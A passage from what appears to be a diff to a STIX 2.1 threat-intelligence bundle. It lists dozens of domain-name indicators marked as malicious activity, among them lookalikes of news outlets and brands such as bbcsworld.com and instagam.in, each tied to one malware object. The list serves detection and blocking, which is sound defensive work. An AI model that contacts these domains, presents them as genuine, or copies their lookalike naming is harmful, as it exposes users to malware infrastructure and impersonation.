"2026-02-17T19:39:51.928213Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fcba5d72-febf-47d9-8818-6a0df327c7fc", + "created": "2026-02-17T19:39:51.92851Z", + "modified": "2026-02-17T19:39:51.92851Z", + "relationship_type": "indicates", + "source_ref": "indicator--b4009d94-4cb9-41c9-92e0-48fc22793fc4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a1cd6ab-a591-4421-b628-a273b407df7e", + "created": "2026-02-17T19:39:51.928583Z", + "modified": "2026-02-17T19:39:51.928583Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nospam.kz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.928583Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fb6834df-4aff-4b56-a40f-70484f068f98", + "created": "2026-02-17T19:39:51.928869Z", + "modified": "2026-02-17T19:39:51.928869Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a1cd6ab-a591-4421-b628-a273b407df7e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cdbdb1c1-0f39-4464-a940-05003555a969", + "created": "2026-02-17T19:39:51.928942Z", + "modified": "2026-02-17T19:39:51.928942Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tinyulrs.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.928942Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2674887e-c7e1-47e7-b1bf-093096fe4b6f", + "created": "2026-02-17T19:39:51.929231Z", + "modified": "2026-02-17T19:39:51.929231Z", + "relationship_type": "indicates", + "source_ref": "indicator--cdbdb1c1-0f39-4464-a940-05003555a969", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5863336a-c603-4b30-a50a-6d7cf3a6e831", + "created": "2026-02-17T19:39:51.929305Z", + "modified": "2026-02-17T19:39:51.929305Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='weathernewz.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.929305Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--40728a93-6f29-4243-a278-739c5128a843", + "created": "2026-02-17T19:39:51.929596Z", + "modified": "2026-02-17T19:39:51.929596Z", + "relationship_type": "indicates", + "source_ref": "indicator--5863336a-c603-4b30-a50a-6d7cf3a6e831", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3cbb0cb5-daff-444a-8130-20b8da0aa47d", + "created": "2026-02-17T19:39:51.92967Z", + "modified": "2026-02-17T19:39:51.92967Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zougla.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.92967Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ce19b43a-f1db-4a25-8af6-1205b69fa5bc", + "created": "2026-02-17T19:39:51.930025Z", + "modified": "2026-02-17T19:39:51.930025Z", + "relationship_type": "indicates", + "source_ref": "indicator--3cbb0cb5-daff-444a-8130-20b8da0aa47d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--53b7b8e0-acfe-4db7-ae9f-2be449643ba4", + "created": "2026-02-17T19:39:51.9301Z", + "modified": "2026-02-17T19:39:51.9301Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alraeesnews.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.9301Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7082bb7a-8e01-4f25-b68b-f85edb22f7a0", + "created": "2026-02-17T19:39:51.930392Z", + "modified": "2026-02-17T19:39:51.930392Z", + "relationship_type": "indicates", + "source_ref": "indicator--53b7b8e0-acfe-4db7-ae9f-2be449643ba4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--36b8c1f6-23ea-4073-915d-eff577db3ee8", + "created": "2026-02-17T19:39:51.930466Z", + "modified": "2026-02-17T19:39:51.930466Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='qwert.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.930466Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3efdd629-34e9-4399-ba7d-241ce35e38fb", + "created": "2026-02-17T19:39:51.930773Z", + "modified": "2026-02-17T19:39:51.930773Z", + "relationship_type": "indicates", + "source_ref": "indicator--36b8c1f6-23ea-4073-915d-eff577db3ee8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5cc0c141-f2e5-436c-b35b-abed5ecfc9c4", + "created": "2026-02-17T19:39:51.930861Z", + "modified": "2026-02-17T19:39:51.930861Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bbcsworld.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.930861Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f5523168-b884-4ece-bb07-7aa305303785", + "created": "2026-02-17T19:39:51.931152Z", + "modified": "2026-02-17T19:39:51.931152Z", + "relationship_type": "indicates", + "source_ref": "indicator--5cc0c141-f2e5-436c-b35b-abed5ecfc9c4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a6801b69-13f9-41da-9b19-fd8b6d1eec01", + "created": "2026-02-17T19:39:51.931226Z", + "modified": "2026-02-17T19:39:51.931226Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crashonline.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.931226Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34bf2c1d-b51e-483d-8221-1f4c7ec53f27", + "created": "2026-02-17T19:39:51.93152Z", + "modified": "2026-02-17T19:39:51.93152Z", + "relationship_type": "indicates", + "source_ref": "indicator--a6801b69-13f9-41da-9b19-fd8b6d1eec01", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--591e1e05-4695-444d-889c-38be1d159390", + "created": "2026-02-17T19:39:51.931593Z", + "modified": "2026-02-17T19:39:51.931593Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='instagam.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.931593Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--41dcbb53-c226-4046-a58f-7a7df54203ae", + "created": "2026-02-17T19:39:51.931882Z", + "modified": "2026-02-17T19:39:51.931882Z", + "relationship_type": "indicates", + "source_ref": "indicator--591e1e05-4695-444d-889c-38be1d159390", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--14670426-9607-4d24-8158-72104f2fede7", + "created": "2026-02-17T19:39:51.931956Z", + "modified": "2026-02-17T19:39:51.931956Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fireup.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.931956Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7e294d9c-67b0-45dc-99ec-3c6569974ce4", + "created": "2026-02-17T19:39:51.932243Z", + "modified": "2026-02-17T19:39:51.932243Z", + "relationship_type": "indicates", + "source_ref": "indicator--14670426-9607-4d24-8158-72104f2fede7", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4b84d13a-7c67-44e7-82f5-56b0fea5d31b", + "created": "2026-02-17T19:39:51.932315Z", + "modified": "2026-02-17T19:39:51.932315Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='altsantiri.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.932315Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6e901c26-4642-4e2a-8abc-4ea8c72361ce", + "created": "2026-02-17T19:39:51.932611Z", + "modified": "2026-02-17T19:39:51.932611Z", + "relationship_type": "indicates", + "source_ref": "indicator--4b84d13a-7c67-44e7-82f5-56b0fea5d31b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e4bcf34-e9a7-452a-b1af-9a199e7b107d", + "created": "2026-02-17T19:39:51.932684Z", + "modified": "2026-02-17T19:39:51.932684Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jornaldeangola.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.932684Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--28520a36-b4dc-40e2-b2ff-cc3f046a1982", + "created": "2026-02-17T19:39:51.932978Z", + "modified": "2026-02-17T19:39:51.932978Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e4bcf34-e9a7-452a-b1af-9a199e7b107d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--161ecda2-d178-471c-aa8d-6e70c8adda0c", + "created": "2026-02-17T19:39:51.933053Z", + "modified": "2026-02-17T19:39:51.933053Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ehudaldaa.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.933053Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9942ba85-dd1d-4723-bcaa-45bd834ad424", + "created": "2026-02-17T19:39:51.933405Z", + "modified": "2026-02-17T19:39:51.933405Z", + "relationship_type": "indicates", + "source_ref": "indicator--161ecda2-d178-471c-aa8d-6e70c8adda0c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--43bea8c7-f4dd-4230-aa1d-840626b63526", + "created": "2026-02-17T19:39:51.93348Z", + "modified": "2026-02-17T19:39:51.93348Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gorlovski.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.93348Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e4a12c21-e711-4b96-8701-69071c795be9", + "created": "2026-02-17T19:39:51.93377Z", + "modified": "2026-02-17T19:39:51.93377Z", + "relationship_type": "indicates", + "source_ref": "indicator--43bea8c7-f4dd-4230-aa1d-840626b63526", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d908e913-3e0e-4693-8e0a-ced5717df847", + "created": "2026-02-17T19:39:51.933843Z", + "modified": "2026-02-17T19:39:51.933843Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bitlinkin.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.933843Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e8b1d54f-bb3c-4786-ab54-821fab946adc", + "created": "2026-02-17T19:39:51.934132Z", + "modified": "2026-02-17T19:39:51.934132Z", + "relationship_type": "indicates", + "source_ref": "indicator--d908e913-3e0e-4693-8e0a-ced5717df847", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a096a4bf-eff2-4c17-910a-917389fb0996", + "created": "2026-02-17T19:39:51.934204Z", + "modified": "2026-02-17T19:39:51.934204Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='despachantonline.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.934204Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16d1ddbf-07a8-4337-a70f-65fca91a5d0b", + "created": "2026-02-17T19:39:51.934498Z", + "modified": "2026-02-17T19:39:51.934498Z", + "relationship_type": "indicates", + "source_ref": "indicator--a096a4bf-eff2-4c17-910a-917389fb0996", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1574000d-72ef-4392-80b9-64c70b86fc34", + "created": "2026-02-17T19:39:51.934571Z", + "modified": "2026-02-17T19:39:51.934571Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='c.betly.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.934571Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6e763c01-b238-443d-b083-0cd4b14d1279", + "created": "2026-02-17T19:39:51.93486Z", + "modified": "2026-02-17T19:39:51.93486Z", + "relationship_type": "indicates", + "source_ref": "indicator--1574000d-72ef-4392-80b9-64c70b86fc34", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd2e97f2-6e44-45ad-9a4a-9649613e8314", + "created": "2026-02-17T19:39:51.934933Z", + "modified": "2026-02-17T19:39:51.934933Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='we-site.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.934933Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3da621d7-fe43-43fd-a50b-e4af2df1ddfe", + "created": "2026-02-17T19:39:51.935224Z", + "modified": "2026-02-17T19:39:51.935224Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd2e97f2-6e44-45ad-9a4a-9649613e8314", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--347c37cd-0989-4664-a9ab-6ad1227d2955", + "created": "2026-02-17T19:39:51.9353Z", + "modified": "2026-02-17T19:39:51.9353Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goldenscint.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.9353Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80cacbaa-7918-45be-9d16-5e7a73102822", + "created": "2026-02-17T19:39:51.935592Z", + "modified": "2026-02-17T19:39:51.935592Z", + "relationship_type": "indicates", + "source_ref": "indicator--347c37cd-0989-4664-a9ab-6ad1227d2955", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--567bdd37-6293-4c74-8ab8-3e0017b5800c", + "created": "2026-02-17T19:39:51.935666Z", + "modified": "2026-02-17T19:39:51.935666Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='xf.actor']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.935666Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e242d105-c0fa-4c7b-84d8-a81260557533", + "created": "2026-02-17T19:39:51.935951Z", + "modified": "2026-02-17T19:39:51.935951Z", + "relationship_type": "indicates", + "source_ref": "indicator--567bdd37-6293-4c74-8ab8-3e0017b5800c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8c96feef-cb13-4f85-b74a-6cc1770cdbb7", + "created": "2026-02-17T19:39:51.936026Z", + "modified": "2026-02-17T19:39:51.936026Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='atheere.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.936026Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f8997e4b-22d9-4f7e-8164-3679b3c322a3", + "created": "2026-02-17T19:39:51.936314Z", + "modified": "2026-02-17T19:39:51.936314Z", + "relationship_type": "indicates", + "source_ref": "indicator--8c96feef-cb13-4f85-b74a-6cc1770cdbb7", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--374b612c-080b-4937-8294-d4b3c1679be4", + "created": "2026-02-17T19:39:51.936388Z", + "modified": "2026-02-17T19:39:51.936388Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='allafrika.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.936388Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a946cdf4-32ab-4824-a016-3e389c8d77c4", + "created": "2026-02-17T19:39:51.936745Z", + "modified": "2026-02-17T19:39:51.936745Z", + "relationship_type": "indicates", + "source_ref": "indicator--374b612c-080b-4937-8294-d4b3c1679be4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--397c4054-f1e0-4262-bd9c-a31eaad7bd73", + "created": "2026-02-17T19:39:51.936819Z", + "modified": "2026-02-17T19:39:51.936819Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='09a.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.936819Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dca2fd01-91c2-4028-920d-85b15c3d70cd", + "created": "2026-02-17T19:39:51.937106Z", + "modified": "2026-02-17T19:39:51.937106Z", + "relationship_type": "indicates", + "source_ref": "indicator--397c4054-f1e0-4262-bd9c-a31eaad7bd73", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5ffe82e2-0c67-4dac-8903-887fb74d12ca", + "created": "2026-02-17T19:39:51.937179Z", + "modified": "2026-02-17T19:39:51.937179Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='novojornal.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.937179Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--22d8e409-2826-4cb1-a505-566ff794c0a0", + "created": "2026-02-17T19:39:51.93747Z", + "modified": "2026-02-17T19:39:51.93747Z", + "relationship_type": "indicates", + "source_ref": "indicator--5ffe82e2-0c67-4dac-8903-887fb74d12ca", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d6fc208-83ff-475a-9946-4bcd99558694", + "created": "2026-02-17T19:39:51.937543Z", + "modified": "2026-02-17T19:39:51.937543Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='connectivitycheck.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.937543Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--44e07d91-2aa5-4f23-b575-d2e90552b65c", + "created": "2026-02-17T19:39:51.937843Z", + "modified": "2026-02-17T19:39:51.937843Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d6fc208-83ff-475a-9946-4bcd99558694", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--58989d4d-ad71-4f65-b6fa-0280d8425ebc", + "created": "2026-02-17T19:39:51.937917Z", + "modified": "2026-02-17T19:39:51.937917Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vinho-online.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.937917Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49405728-e51f-4695-82a9-118ebaadb1c8", + "created": "2026-02-17T19:39:51.938213Z", + "modified": "2026-02-17T19:39:51.938213Z", + "relationship_type": "indicates", + "source_ref": "indicator--58989d4d-ad71-4f65-b6fa-0280d8425ebc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5a85cd7f-855d-44b2-bf31-9b73f6cdcf57", + "created": "2026-02-17T19:39:51.938288Z", + "modified": "2026-02-17T19:39:51.938288Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastuploads.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.938288Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dc161254-8b54-470b-a121-ac03832d8a33", + "created": "2026-02-17T19:39:51.938582Z", + "modified": "2026-02-17T19:39:51.938582Z", + "relationship_type": "indicates", + "source_ref": "indicator--5a85cd7f-855d-44b2-bf31-9b73f6cdcf57", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--01d90cb9-79a7-4161-be6c-6a09456ae8ef", + "created": "2026-02-17T19:39:51.938656Z", + "modified": "2026-02-17T19:39:51.938656Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='forwardeshoptt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.938656Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a3567dc1-46b2-40d1-b082-d29b6e601937", + "created": "2026-02-17T19:39:51.93895Z", + "modified": "2026-02-17T19:39:51.93895Z", + "relationship_type": "indicates", + "source_ref": "indicator--01d90cb9-79a7-4161-be6c-6a09456ae8ef", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--18cb9981-5079-4c2d-b44c-51c443773306", + "created": "2026-02-17T19:39:51.939023Z", + "modified": "2026-02-17T19:39:51.939023Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='portalxa.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.939023Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e1e78be9-815b-47e5-a8fb-b52c44d9e251", + "created": "2026-02-17T19:39:51.939347Z", + "modified": "2026-02-17T19:39:51.939347Z", + "relationship_type": "indicates", + "source_ref": "indicator--18cb9981-5079-4c2d-b44c-51c443773306", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94e42d57-0420-4734-871c-029097f7dfb1", + "created": "2026-02-17T19:39:51.939423Z", + "modified": "2026-02-17T19:39:51.939423Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ongs.life']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.939423Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6bbc0b91-5248-440d-a767-7b347785ccb9", + "created": "2026-02-17T19:39:51.939711Z", + "modified": "2026-02-17T19:39:51.939711Z", + "relationship_type": "indicates", + "source_ref": "indicator--94e42d57-0420-4734-871c-029097f7dfb1", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0435c0d9-b1de-402e-ad16-0414ca09e89d", + "created": "2026-02-17T19:39:51.939784Z", + "modified": "2026-02-17T19:39:51.939784Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='actualite.emergence-mada.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.939784Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d2d877d-893a-478c-a9bc-57ea0aa59511", + "created": "2026-02-17T19:39:51.940154Z", + "modified": "2026-02-17T19:39:51.940154Z", + "relationship_type": "indicates", + "source_ref": "indicator--0435c0d9-b1de-402e-ad16-0414ca09e89d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--630af1f8-16d9-47ae-861b-06ae815d167d", + "created": "2026-02-17T19:39:51.940229Z", + "modified": "2026-02-17T19:39:51.940229Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='brkorage.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.940229Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e373cd83-5a8a-4699-bbfb-27a9c5f44fc8", + "created": "2026-02-17T19:39:51.94052Z", + "modified": "2026-02-17T19:39:51.94052Z", + "relationship_type": "indicates", + "source_ref": "indicator--630af1f8-16d9-47ae-861b-06ae815d167d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77c9de89-00e2-45db-8f35-eaa470a1634b", + "created": "2026-02-17T19:39:51.940594Z", + "modified": "2026-02-17T19:39:51.940594Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clazc.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.940594Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--54057be6-ed85-4d71-be85-5bad02531b9c", + "created": "2026-02-17T19:39:51.940882Z", + "modified": "2026-02-17T19:39:51.940882Z", + "relationship_type": "indicates", + "source_ref": "indicator--77c9de89-00e2-45db-8f35-eaa470a1634b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5772c5b6-501d-46bb-81dd-129ac3bdc9a3", + "created": "2026-02-17T19:39:51.940958Z", + "modified": "2026-02-17T19:39:51.940958Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='efsyn.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.940958Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bfae271e-de6c-49cd-99e9-5a8c7447d7c8", + "created": "2026-02-17T19:39:51.941248Z", + "modified": "2026-02-17T19:39:51.941248Z", + "relationship_type": "indicates", + "source_ref": "indicator--5772c5b6-501d-46bb-81dd-129ac3bdc9a3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7067026e-21fe-4388-b644-5fbb74c9c94b", + "created": "2026-02-17T19:39:51.941323Z", + "modified": "2026-02-17T19:39:51.941323Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='folha9.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.941323Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4cae4dad-0aa3-4daa-b958-a18314f3b325", + "created": "2026-02-17T19:39:51.941612Z", + "modified": "2026-02-17T19:39:51.941612Z", + "relationship_type": "indicates", + "source_ref": "indicator--7067026e-21fe-4388-b644-5fbb74c9c94b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--887a3cf8-5869-49b9-b50d-50b626373112", + "created": "2026-02-17T19:39:51.941687Z", + "modified": "2026-02-17T19:39:51.941687Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='applepps.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.941687Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2128c54d-d174-448d-af98-a4116fc28d21", + "created": "2026-02-17T19:39:51.94198Z", + "modified": "2026-02-17T19:39:51.94198Z", + "relationship_type": "indicates", + "source_ref": "indicator--887a3cf8-5869-49b9-b50d-50b626373112", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94eb68cf-0fec-45ce-9ab3-2dc451e4f347", + "created": "2026-02-17T19:39:51.942054Z", + "modified": "2026-02-17T19:39:51.942054Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lusofonia-mundo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.942054Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b6ed3ce9-7c02-42e9-9dcf-83c3857616bc", + "created": "2026-02-17T19:39:51.942349Z", + "modified": "2026-02-17T19:39:51.942349Z", + "relationship_type": "indicates", + "source_ref": "indicator--94eb68cf-0fec-45ce-9ab3-2dc451e4f347", + "target_ref": 